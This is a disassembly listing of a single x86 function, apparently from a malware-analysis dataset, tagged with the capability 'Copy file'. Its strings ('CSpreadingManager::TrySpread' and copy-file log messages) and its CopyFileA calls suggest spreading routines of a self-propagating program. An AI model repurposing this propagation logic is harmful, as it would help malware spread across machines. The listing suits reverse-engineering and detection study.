Function at 0x411dee
Capabilities:
Copy file

Disassembly:
mov eax, 0x424633
call fcn.00414f98
sub esp, 0x54
and dword [ebp - 0x14], 0
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov ebx, dword [ebp + 8]
xor edi, edi
inc edi
mov ecx, ebx
mov dword [ebp - 4], edi
call fcn.0040b0d0
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x18]
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], edi
call fcn.00402bb0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
jmp 0x41201f
mov eax, dword [ebx + 0x10]
sub eax, dword [ebx + 0xc]
push 0x1c
cdq
pop ecx
idiv ecx
cmp eax, dword [ebp + 0x24]
jae 0x412042
lea ecx, [ebp - 0x20]
call fcn.00404110
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00408c70
lea eax, [ebp - 0x60]
push eax
call fcn.00411872
add esp, 0x20
cmp dword [ebp - 0x4c], 0
mov byte [ebp - 4], 2
je 0x412008
lea ecx, [ebp - 0x20]
call fcn.00404110
push eax
lea ecx, [ebp - 0x44]
call fcn.00408c70
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 3
call fcn.00402400
cmp dword [ebp - 0x2c], 0x10
mov ebx, dword [ebp - 0x40]
jae 0x411eb0
lea ebx, [ebp - 0x40]
cmp dword [esi + 0x18], 0x10
jb 0x411ebd
add esi, 4
mov edi, dword [esi]
jmp 0x411ec2
add esi, 4
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push edi
mov edi, str.CSpreadingManager::TrySpread
push edi
push str._s_tCopying_file_from__s_to__s_tGLE:_08x
push dword [0x42e4e0]
call fcn.00403750
mov ecx, dword [ebp - 0x40]
add esp, 0x18
cmp dword [ebp - 0x2c], 0x10
jae 0x411ef0
lea ecx, [ebp - 0x40]
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x18], 0x10
jb 0x411efd
mov eax, dword [esi]
jmp 0x411eff
mov eax, esi
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push ecx
push eax
call ebx
test eax, eax
je 0x411fd8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str._s_tCopyFile_ok_tGLE:_08x
push dword [0x42e4e0]
call fcn.00403750
mov eax, dword [ebp - 0x40]
add esp, 0x10
cmp dword [ebp - 0x2c], 0x10
jae 0x411f3a
lea eax, [ebp - 0x40]
push eax
call fcn.0040f719
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00408c70
mov edi, dword [ebp - 0x10]
mov ecx, edi
call fcn.00410d78
push 0
sub esp, 0x1c
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00408c70
call fcn.0040fd26
add esp, 0x20
test al, al
jne 0x411fca
cmp dword [ebp - 0x2c], 0x10
mov eax, dword [ebp - 0x40]
jae 0x411f86
lea eax, [ebp - 0x40]
cmp dword [edi + 0x18], 0x10
jb 0x411f8e
mov esi, dword [esi]
push 0
push eax
push esi
call ebx
test eax, eax
je 0x411ff3
cmp dword [ebp - 0x2c], 0x10
mov eax, dword [ebp - 0x40]
jae 0x411fa4
lea eax, [ebp - 0x40]
push eax
call fcn.0040f719
pop ecx
push 0
sub esp, 0x1c
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00408c70
call fcn.0040fd26
add esp, 0x20
test al, al
je 0x411ff3
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x44]
push eax
call fcn.00401e60
jmp 0x411ff3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str._s_tCopyFile_failed_tGLE:_08x
push dword [0x42e4e0]
call fcn.00403750
add esp, 0x10
push 0
push 1
lea ecx, [ebp - 0x44]
call fcn.00402260
mov esi, dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
xor edi, edi
inc edi
push 0
push edi
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 1
call fcn.00402260
lea ecx, [ebp - 0x20]
call fcn.00404140
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x1c]
lea ecx, [ebp - 0x28]
call fcn.00402bb0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x20]
call fcn.00404170
test al, al
je 0x411e3a
lea ecx, [ebp + 0xc]
call fcn.0040b16d
push dword [ebp + 0xc]
call fcn.00413135
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, ebx
mov dword fs:[0], ecx
pop ebx
leave
ret 0x20